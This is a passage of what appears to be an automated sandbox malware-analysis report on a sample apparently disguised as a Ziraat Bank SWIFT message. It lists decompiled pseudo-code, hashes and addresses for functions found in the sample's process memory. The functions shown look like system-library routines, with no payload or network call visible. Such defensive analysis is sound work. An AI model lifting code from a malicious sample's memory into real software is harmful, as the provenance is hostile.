                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 7a215078b2af70d1d1cdc8c239b075d213aa551aa64288d79dcba70b1fa7160c
                                                                        • Instruction ID: a7b47e79b530254f66734d930cb82ab421c41e0bd724279e94a61b21b9b092b9
                                                                        • Opcode Fuzzy Hash: 7a215078b2af70d1d1cdc8c239b075d213aa551aa64288d79dcba70b1fa7160c
                                                                        • Instruction Fuzzy Hash: 9E01F972A226129BC337CB1DD980E76BBA6FF85BE0715406DEA458B315DB30D801C7C2
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A002D Relevance: .1, Instructions: 55COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E012A002D() {
				void* _t11;
				char* _t14;
				signed char* _t16;
				char* _t27;
				signed char* _t29;

				_t11 = E01297D50();
				_t27 = 0x7ffe0384;
				if(_t11 != 0) {
					_t14 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t14 = 0x7ffe0384;
				}
				_t29 = 0x7ffe0385;
				if( *_t14 != 0) {
					if(E01297D50() == 0) {
						_t16 = 0x7ffe0385;
					} else {
						_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t16 & 0x00000040) != 0) {
						goto L18;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(E01297D50() != 0) {
						_t27 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					if( *_t27 != 0) {
						if(( *( *[fs:0x30] + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						if(E01297D50() != 0) {
							_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t29 & 0x00000020) == 0) {
							goto L5;
						}
						L18:
						return 1;
					} else {
						L5:
						return 0;
					}
				}
			}








                                                                        0x012a0032
                                                                        0x012a0037
                                                                        0x012a0043
                                                                        0x012e4b3a
                                                                        0x012a0049
                                                                        0x012a0049
                                                                        0x012a0049
                                                                        0x012a004e
                                                                        0x012a0053
                                                                        0x012e4b48
                                                                        0x012e4b5a
                                                                        0x012e4b4a
                                                                        0x012e4b53
                                                                        0x012e4b53
                                                                        0x012e4b5f
                                                                        0x00000000
                                                                        0x012e4b61
                                                                        0x00000000
                                                                        0x012e4b61
                                                                        0x012a0059
                                                                        0x012a0059
                                                                        0x012a0060
                                                                        0x012e4b6f
                                                                        0x012e4b6f
                                                                        0x012a0069
                                                                        0x012e4b83
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e4b90
                                                                        0x012e4b9b
                                                                        0x012e4b9b
                                                                        0x012e4ba4
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e4baa
                                                                        0x00000000
                                                                        0x012a006f
                                                                        0x012a006f
                                                                        0x00000000
                                                                        0x012a006f
                                                                        0x012a0069

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
                                                                        • Instruction ID: e1abab52ec78f496c20b0d133e4a2f24b71fbcfd5328b234123d22e1a35c1e0b
                                                                        • Opcode Fuzzy Hash: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
                                                                        • Instruction Fuzzy Hash: 2611E132A316C28FEF23A76CC949B353BD9AB41754F4900A4EE04C7A92F368D841C664
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0128766D Relevance: .1, Instructions: 54COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 94%
                                                                        			E0128766D(void* __ecx, signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				char _v8;
				void* _t22;
				void* _t24;
				intOrPtr _t29;
				intOrPtr* _t30;
				void* _t42;
				intOrPtr _t47;

				_push(__ecx);
				_t36 =  &_v8;
				if(E012AF3D5( &_v8, __edx * _a4, __edx * _a4 >> 0x20) < 0) {
					L10:
					_t22 = 0;
				} else {
					_t24 = _v8 + __ecx;
					_t42 = _t24;
					if(_t24 < __ecx) {
						goto L10;
					} else {
						if(E012AF3D5( &_v8, _a8 * _a12, _a8 * _a12 >> 0x20) < 0) {
							goto L10;
						} else {
							_t29 = _v8 + _t42;
							if(_t29 < _t42) {
								goto L10;
							} else {
								_t47 = _t29;
								_t30 = _a16;
								if(_t30 != 0) {
									 *_t30 = _t47;
								}
								if(_t47 == 0) {
									goto L10;
								} else {
									_t22 = L01294620(_t36,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t47);
								}
							}
						}
					}
				}
				return _t22;
			}










                                                                        0x01287672
                                                                        0x0128767f
                                                                        0x01287689
                                                                        0x012876de
                                                                        0x012876de
                                                                        0x0128768b
                                                                        0x01287691
                                                                        0x01287693
                                                                        0x01287697
                                                                        0x00000000
                                                                        0x01287699
                                                                        0x012876a8
                                                                        0x00000000
                                                                        0x012876aa
                                                                        0x012876ad
                                                                        0x012876b1
                                                                        0x00000000
                                                                        0x012876b3
                                                                        0x012876b3
                                                                        0x012876b5
                                                                        0x012876ba
                                                                        0x012876bc
                                                                        0x012876bc
                                                                        0x012876c0
                                                                        0x00000000
                                                                        0x012876c2
                                                                        0x012876ce
                                                                        0x012876ce
                                                                        0x012876c0
                                                                        0x012876b1
                                                                        0x012876a8
                                                                        0x01287697
                                                                        0x012876d9

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
                                                                        • Instruction ID: e5232ee18b43d7966dd73b31d1b1dd1c582c6ace847cb88affd3fc2dd4411902
                                                                        • Opcode Fuzzy Hash: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
                                                                        • Instruction Fuzzy Hash: 5B018D72721129AFD710AE5FCD41E5B7FADEB54664B340524BA08CB290DA31ED0187A0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01279080 Relevance: .1, Instructions: 53COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 69%
                                                                        			E01279080(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi) {
				intOrPtr* _t51;
				intOrPtr _t59;
				signed int _t64;
				signed int _t67;
				signed int* _t71;
				signed int _t74;
				signed int _t77;
				signed int _t82;
				intOrPtr* _t84;
				void* _t85;
				intOrPtr* _t87;
				void* _t94;
				signed int _t95;
				intOrPtr* _t97;
				signed int _t99;
				signed int _t102;
				void* _t104;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t97 = __ecx;
				_t102 =  *(__ecx + 0x14);
				if((_t102 & 0x02ffffff) == 0x2000000) {
					_t102 = _t102 | 0x000007d0;
				}
				_t48 =  *[fs:0x30];
				if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
					_t102 = _t102 & 0xff000000;
				}
				_t80 = 0x13685ec;
				E01292280(_t48, 0x13685ec);
				_t51 =  *_t97 + 8;
				if( *_t51 != 0) {
					L6:
					return E0128FFB0(_t80, _t97, _t80);
				} else {
					 *(_t97 + 0x14) = _t102;
					_t84 =  *0x136538c; // 0x77e16828
					if( *_t84 != 0x1365388) {
						_t85 = 3;
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x2c);
						_push(0x134f6e8);
						E012CD0E8(0x13685ec, _t97, _t102);
						 *((char*)(_t104 - 0x1d)) = 0;
						_t99 =  *(_t104 + 8);
						__eflags = _t99;
						if(_t99 == 0) {
							L13:
							__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
							if(__eflags == 0) {
								E013488F5(_t80, _t85, 0x1365388, _t99, _t102, __eflags);
							}
						} else {
							__eflags = _t99 -  *0x13686c0; // 0xe107b0
							if(__eflags == 0) {
								goto L13;
							} else {
								__eflags = _t99 -  *0x13686b8; // 0x0
								if(__eflags == 0) {
									goto L13;
								} else {
									_t59 =  *((intOrPtr*)( *[fs:0x30] + 0xc));
									__eflags =  *((char*)(_t59 + 0x28));
									if( *((char*)(_t59 + 0x28)) == 0) {
										E01292280(_t99 + 0xe0, _t99 + 0xe0);
										 *(_t104 - 4) =  *(_t104 - 4) & 0x00000000;
										__eflags =  *((char*)(_t99 + 0xe5));
										if(__eflags != 0) {
											E013488F5(0x13685ec, _t85, 0x1365388, _t99, _t102, __eflags);
										} else {
											__eflags =  *((char*)(_t99 + 0xe4));
											if( *((char*)(_t99 + 0xe4)) == 0) {
												 *((char*)(_t99 + 0xe4)) = 1;
												_push(_t99);
												_push( *((intOrPtr*)(_t99 + 0x24)));
												E012BAFD0();
											}
											while(1) {
												_t71 = _t99 + 8;
												 *(_t104 - 0x2c) = _t71;
												_t80 =  *_t71;
												_t95 = _t71[1];
												 *(_t104 - 0x28) = _t80;
												 *(_t104 - 0x24) = _t95;
												while(1) {
													L19:
													__eflags = _t95;
													if(_t95 == 0) {
														break;
													}
													_t102 = _t80;
													 *(_t104 - 0x30) = _t95;
													 *(_t104 - 0x24) = _t95 - 1;
													asm("lock cmpxchg8b [edi]");
													_t80 = _t102;
													 *(_t104 - 0x28) = _t80;
													 *(_t104 - 0x24) = _t95;
													__eflags = _t80 - _t102;
													_t99 =  *(_t104 + 8);
													if(_t80 != _t102) {
														continue;
													} else {
														__eflags = _t95 -  *(_t104 - 0x30);
														if(_t95 !=  *(_t104 - 0x30)) {
															continue;
														} else {
															__eflags = _t95;
															if(_t95 != 0) {
																_t74 = 0;
																 *(_t104 - 0x34) = 0;
																_t102 = 0;
																__eflags = 0;
																while(1) {
																	 *(_t104 - 0x3c) = _t102;
																	__eflags = _t102 - 3;
																	if(_t102 >= 3) {
																		break;
																	}
																	__eflags = _t74;
																	if(_t74 != 0) {
																		L49:
																		_t102 =  *_t74;
																		__eflags = _t102;
																		if(_t102 != 0) {
																			_t102 =  *(_t102 + 4);
																			__eflags = _t102;
																			if(_t102 != 0) {
																				 *0x136b1e0(_t74, _t99);
																				 *_t102();
																			}
																		}
																		do {
																			_t71 = _t99 + 8;
																			 *(_t104 - 0x2c) = _t71;
																			_t80 =  *_t71;
																			_t95 = _t71[1];
																			 *(_t104 - 0x28) = _t80;
																			 *(_t104 - 0x24) = _t95;
																			goto L19;
																		} while (_t74 == 0);
																		goto L49;
																	} else {
																		_t82 = 0;
																		__eflags = 0;
																		while(1) {
																			 *(_t104 - 0x38) = _t82;
																			__eflags = _t82 -  *0x13684c0;
																			if(_t82 >=  *0x13684c0) {
																				break;
																			}
																			__eflags = _t74;
																			if(_t74 == 0) {
																				_t77 = E01349063(_t82 * 0xc +  *((intOrPtr*)(_t99 + 0x10 + _t102 * 4)), _t95, _t99);
																				__eflags = _t77;
																				if(_t77 == 0) {
																					_t74 = 0;
																					__eflags = 0;
																				} else {
																					_t74 = _t77 + 0xfffffff4;
																				}
																				 *(_t104 - 0x34) = _t74;
																				_t82 = _t82 + 1;
																				continue;
																			}
																			break;
																		}
																		_t102 = _t102 + 1;
																		continue;
																	}
																	goto L20;
																}
																__eflags = _t74;
															}
														}
													}
													break;
												}
												L20:
												 *((intOrPtr*)(_t99 + 0xf4)) =  *((intOrPtr*)(_t104 + 4));
												 *((char*)(_t99 + 0xe5)) = 1;
												 *((char*)(_t104 - 0x1d)) = 1;
												goto L21;
											}
										}
										L21:
										 *(_t104 - 4) = 0xfffffffe;
										E0127922A(_t99);
										_t64 = E01297D50();
										__eflags = _t64;
										if(_t64 != 0) {
											_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
										} else {
											_t67 = 0x7ffe0386;
										}
										__eflags =  *_t67;
										if( *_t67 != 0) {
											_t67 = E01348B58(_t99);
										}
										__eflags =  *((char*)(_t104 - 0x1d));
										if( *((char*)(_t104 - 0x1d)) != 0) {
											__eflags = _t99 -  *0x13686c0; // 0xe107b0
											if(__eflags != 0) {
												__eflags = _t99 -  *0x13686b8; // 0x0
												if(__eflags == 0) {
													_t94 = 0x13686bc;
													_t87 = 0x13686b8;
													goto L27;
												} else {
													__eflags = _t67 | 0xffffffff;
													asm("lock xadd [edi], eax");
													if(__eflags == 0) {
														E01279240(_t80, _t99, _t99, _t102, __eflags);
													}
												}
											} else {
												_t94 = 0x13686c4;
												_t87 = 0x13686c0;
												L27:
												E012A9B82(_t80, _t87, _t94, _t99, _t102, __eflags);
											}
										}
									} else {
										goto L13;
									}
								}
							}
						}
						return E012CD130(_t80, _t99, _t102);
					} else {
						 *_t51 = 0x1365388;
						 *((intOrPtr*)(_t51 + 4)) = _t84;
						 *_t84 = _t51;
						 *0x136538c = _t51;
						goto L6;
					}
				}
			}




















                                                                        0x01279082
                                                                        0x01279083
                                                                        0x01279084
                                                                        0x01279085
                                                                        0x01279087
                                                                        0x01279096
                                                                        0x01279098
                                                                        0x01279098
                                                                        0x0127909e
                                                                        0x012790a8
                                                                        0x012790e7
                                                                        0x012790e7
                                                                        0x012790aa
                                                                        0x012790b0
                                                                        0x012790b7
                                                                        0x012790bd
                                                                        0x012790dd
                                                                        0x012790e6
                                                                        0x012790bf
                                                                        0x012790bf
                                                                        0x012790c7
                                                                        0x012790cf
                                                                        0x012790f1
                                                                        0x012790f2
                                                                        0x012790f4
                                                                        0x012790f5
                                                                        0x012790f6
                                                                        0x012790f7
                                                                        0x012790f8
                                                                        0x012790f9
                                                                        0x012790fa
                                                                        0x012790fb
                                                                        0x012790fc
                                                                        0x012790fd
                                                                        0x012790fe
                                                                        0x012790ff
                                                                        0x01279100
                                                                        0x01279102
                                                                        0x01279107
                                                                        0x0127910c
                                                                        0x01279110
                                                                        0x01279113
                                                                        0x01279115
                                                                        0x01279136
                                                                        0x0127913f
                                                                        0x01279143
                                                                        0x012d37e4
                                                                        0x012d37e4
                                                                        0x01279117
                                                                        0x01279117
                                                                        0x0127911d
                                                                        0x00000000
                                                                        0x0127911f
                                                                        0x0127911f
                                                                        0x01279125
                                                                        0x00000000
                                                                        0x01279127
                                                                        0x0127912d
                                                                        0x01279130
                                                                        0x01279134
                                                                        0x01279158
                                                                        0x0127915d
                                                                        0x01279161
                                                                        0x01279168
                                                                        0x012d3715
                                                                        0x0127916e
                                                                        0x0127916e
                                                                        0x01279175
                                                                        0x01279177
                                                                        0x0127917e
                                                                        0x0127917f
                                                                        0x01279182
                                                                        0x01279182
                                                                        0x01279187
                                                                        0x01279187
                                                                        0x0127918a
                                                                        0x0127918d
                                                                        0x0127918f
                                                                        0x01279192
                                                                        0x01279195
                                                                        0x01279198
                                                                        0x01279198
                                                                        0x01279198
                                                                        0x0127919a
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d371f
                                                                        0x012d3721
                                                                        0x012d3727
                                                                        0x012d372f
                                                                        0x012d3733
                                                                        0x012d3735
                                                                        0x012d3738
                                                                        0x012d373b
                                                                        0x012d373d
                                                                        0x012d3740
                                                                        0x00000000
                                                                        0x012d3746
                                                                        0x012d3746
                                                                        0x012d3749
                                                                        0x00000000
                                                                        0x012d374f
                                                                        0x012d374f
                                                                        0x012d3751
                                                                        0x012d3757
                                                                        0x012d3759
                                                                        0x012d375c
                                                                        0x012d375c
                                                                        0x012d375e
                                                                        0x012d375e
                                                                        0x012d3761
                                                                        0x012d3764
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d3766
                                                                        0x012d3768
                                                                        0x012d37a3
                                                                        0x012d37a3
                                                                        0x012d37a5
                                                                        0x012d37a7
                                                                        0x012d37ad
                                                                        0x012d37b0
                                                                        0x012d37b2
                                                                        0x012d37bc
                                                                        0x012d37c2
                                                                        0x012d37c2
                                                                        0x012d37b2
                                                                        0x01279187
                                                                        0x01279187
                                                                        0x0127918a
                                                                        0x0127918d
                                                                        0x0127918f
                                                                        0x01279192
                                                                        0x01279195
                                                                        0x00000000
                                                                        0x01279195
                                                                        0x00000000
                                                                        0x012d376a
                                                                        0x012d376a
                                                                        0x012d376a
                                                                        0x012d376c
                                                                        0x012d376c
                                                                        0x012d376f
                                                                        0x012d3775
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d3777
                                                                        0x012d3779
                                                                        0x012d3782
                                                                        0x012d3787
                                                                        0x012d3789
                                                                        0x012d3790
                                                                        0x012d3790
                                                                        0x012d378b
                                                                        0x012d378b
                                                                        0x012d378b
                                                                        0x012d3792
                                                                        0x012d3795
                                                                        0x00000000
                                                                        0x012d3795
                                                                        0x00000000
                                                                        0x012d3779
                                                                        0x012d3798
                                                                        0x00000000
                                                                        0x012d3798
                                                                        0x00000000
                                                                        0x012d3768
                                                                        0x012d379b
                                                                        0x012d379b
                                                                        0x012d3751
                                                                        0x012d3749
                                                                        0x00000000
                                                                        0x012d3740
                                                                        0x012791a0
                                                                        0x012791a3
                                                                        0x012791a9
                                                                        0x012791b0
                                                                        0x00000000
                                                                        0x012791b0
                                                                        0x01279187
                                                                        0x012791b4
                                                                        0x012791b4
                                                                        0x012791bb
                                                                        0x012791c0
                                                                        0x012791c5
                                                                        0x012791c7
                                                                        0x012d37da
                                                                        0x012791cd
                                                                        0x012791cd
                                                                        0x012791cd
                                                                        0x012791d2
                                                                        0x012791d5
                                                                        0x01279239
                                                                        0x01279239
                                                                        0x012791d7
                                                                        0x012791db
                                                                        0x012791e1
                                                                        0x012791e7
                                                                        0x012791fd
                                                                        0x01279203
                                                                        0x0127921e
                                                                        0x01279223
                                                                        0x00000000
                                                                        0x01279205
                                                                        0x01279205
                                                                        0x01279208
                                                                        0x0127920c
                                                                        0x01279214
                                                                        0x01279214
                                                                        0x0127920c
                                                                        0x012791e9
                                                                        0x012791e9
                                                                        0x012791ee
                                                                        0x012791f3
                                                                        0x012791f3
                                                                        0x012791f3
                                                                        0x012791e7
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01279134
                                                                        0x01279125
                                                                        0x0127911d
                                                                        0x0127914e
                                                                        0x012790d1
                                                                        0x012790d1
                                                                        0x012790d3
                                                                        0x012790d6
                                                                        0x012790d8
                                                                        0x00000000
                                                                        0x012790d8
                                                                        0x012790cf

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 9c032c54c733bd602d191d256afee81adfcb00a90c5f6e00ff6cdebc4dd7a8eb
                                                                        • Instruction ID: e924433c24617f808843042206880a386551282314da3958f3d7e05caebd03dc
                                                                        • Opcode Fuzzy Hash: 9c032c54c733bd602d191d256afee81adfcb00a90c5f6e00ff6cdebc4dd7a8eb
                                                                        • Instruction Fuzzy Hash: ED01D1725313018FC7269F08D840B227BA9EF45728F218066E2018B695C370DC81CB90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0130C450 Relevance: .1, Instructions: 53COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 46%
                                                                        			E0130C450(intOrPtr* _a4) {
				signed char _t25;
				intOrPtr* _t26;
				intOrPtr* _t27;

				_t26 = _a4;
				_t25 =  *(_t26 + 0x10);
				if((_t25 & 0x00000003) != 1) {
					_push(0);
					_push(0);
					_push(0);
					_push( *((intOrPtr*)(_t26 + 8)));
					_push(0);
					_push( *_t26);
					E012B9910();
					_t25 =  *(_t26 + 0x10);
				}
				if((_t25 & 0x00000001) != 0) {
					_push(4);
					_t7 = _t26 + 4; // 0x4
					_t27 = _t7;
					_push(_t27);
					_push(5);
					_push(0xfffffffe);
					E012B95B0();
					if( *_t27 != 0) {
						_push( *_t27);
						E012B95D0();
					}
				}
				_t8 = _t26 + 0x14; // 0x14
				if( *((intOrPtr*)(_t26 + 8)) != _t8) {
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t26 + 8)));
				}
				_push( *_t26);
				E012B95D0();
				return L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t26);
			}






                                                                        0x0130c458
                                                                        0x0130c45d
                                                                        0x0130c466
                                                                        0x0130c468
                                                                        0x0130c469
                                                                        0x0130c46a
                                                                        0x0130c46b
                                                                        0x0130c46e
                                                                        0x0130c46f
                                                                        0x0130c471
                                                                        0x0130c476
                                                                        0x0130c476
                                                                        0x0130c47c
                                                                        0x0130c47e
                                                                        0x0130c480
                                                                        0x0130c480
                                                                        0x0130c483
                                                                        0x0130c484
                                                                        0x0130c486
                                                                        0x0130c488
                                                                        0x0130c48f
                                                                        0x0130c491
                                                                        0x0130c493
                                                                        0x0130c493
                                                                        0x0130c48f
                                                                        0x0130c498
                                                                        0x0130c49e
                                                                        0x0130c4ad
                                                                        0x0130c4ad
                                                                        0x0130c4b2
                                                                        0x0130c4b4
                                                                        0x0130c4cd

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
                                                                        • Instruction ID: 299218b6d801a97af0e84455225af8e2b9d4e7b5e548f4ff2eafeb7071d7b6c1
                                                                        • Opcode Fuzzy Hash: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
                                                                        • Instruction Fuzzy Hash: 7F0196B1190506BFEB16AF69CC90EB2FB6DFF55394F014525F214525A0C721ACA0CBA0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01344015 Relevance: .0, Instructions: 49COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 86%
                                                                        			E01344015(signed int __eax, signed int __ecx) {
				void* __ebx;
				void* __edi;
				signed char _t10;
				signed int _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t1 = _t28 + 0x1c; // 0x1e
					E01292280(_t10, _t1);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E01292280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0x13686ac);
					E0127F900(0x13686d4, _t28);
					E0128FFB0(0x13686ac, _t28, 0x13686ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					E0128FFB0(0, _t28, _t1);
					_t18 =  *((intOrPtr*)(_t28 + 0x94));
					if( *((intOrPtr*)(_t28 + 0x94)) != 0) {
						L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
					}
					_t10 = L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
				}
				return _t10;
			}







                                                                        0x0134401a
                                                                        0x0134401e
                                                                        0x01344023
                                                                        0x01344028
                                                                        0x01344029
                                                                        0x0134402b
                                                                        0x0134402f
                                                                        0x01344043
                                                                        0x01344046
                                                                        0x01344051
                                                                        0x01344057
                                                                        0x0134405f
                                                                        0x01344062
                                                                        0x01344067
                                                                        0x0134406f
                                                                        0x0134407c
                                                                        0x0134407c
                                                                        0x0134408c
                                                                        0x0134408c
                                                                        0x01344097

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 06d97a66140e9f2a62f2130680ceb308e97b7f3cf251db61ee474409d44415a1
                                                                        • Instruction ID: 2bd5e7abac920264a0da89837f34086d13ebce6ea01fd1b7617cb007ad692659
                                                                        • Opcode Fuzzy Hash: 06d97a66140e9f2a62f2130680ceb308e97b7f3cf251db61ee474409d44415a1
                                                                        • Instruction Fuzzy Hash: 01018471611646BFD711AB6DCE80E67B7ACFF59664B000265F50893A51CB24EC11CAE4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0133138A Relevance: .0, Instructions: 48COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 61%
                                                                        			E0133138A(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x136d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E012BFA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1033;
				if(E01297D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

















                                                                        0x0133138a
                                                                        0x0133138a
                                                                        0x01331399
                                                                        0x013313a3
                                                                        0x013313a8
                                                                        0x013313aa
                                                                        0x013313b5
                                                                        0x013313bb
                                                                        0x013313c3
                                                                        0x013313c6
                                                                        0x013313c9
                                                                        0x013313d4
                                                                        0x013313e6
                                                                        0x013313d6
                                                                        0x013313df
                                                                        0x013313df
                                                                        0x013313f1
                                                                        0x013313f2
                                                                        0x013313f4
                                                                        0x013313f9
                                                                        0x0133140e

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 55b183091ce226b441245777d553a9a36e4ffa89092b5d31e2d7ae5a9586a89b
                                                                        • Instruction ID: c5876173d02a2f96f947d52a7463b1b975fe12a54a45bb5da29051f7e3880105
                                                                        • Opcode Fuzzy Hash: 55b183091ce226b441245777d553a9a36e4ffa89092b5d31e2d7ae5a9586a89b
                                                                        • Instruction Fuzzy Hash: 5C019E71A10208AFCB14DFA9D881EAEBBB8EF44710F004066F900EB380DA709A00CB94
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 013314FB Relevance: .0, Instructions: 48COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 61%
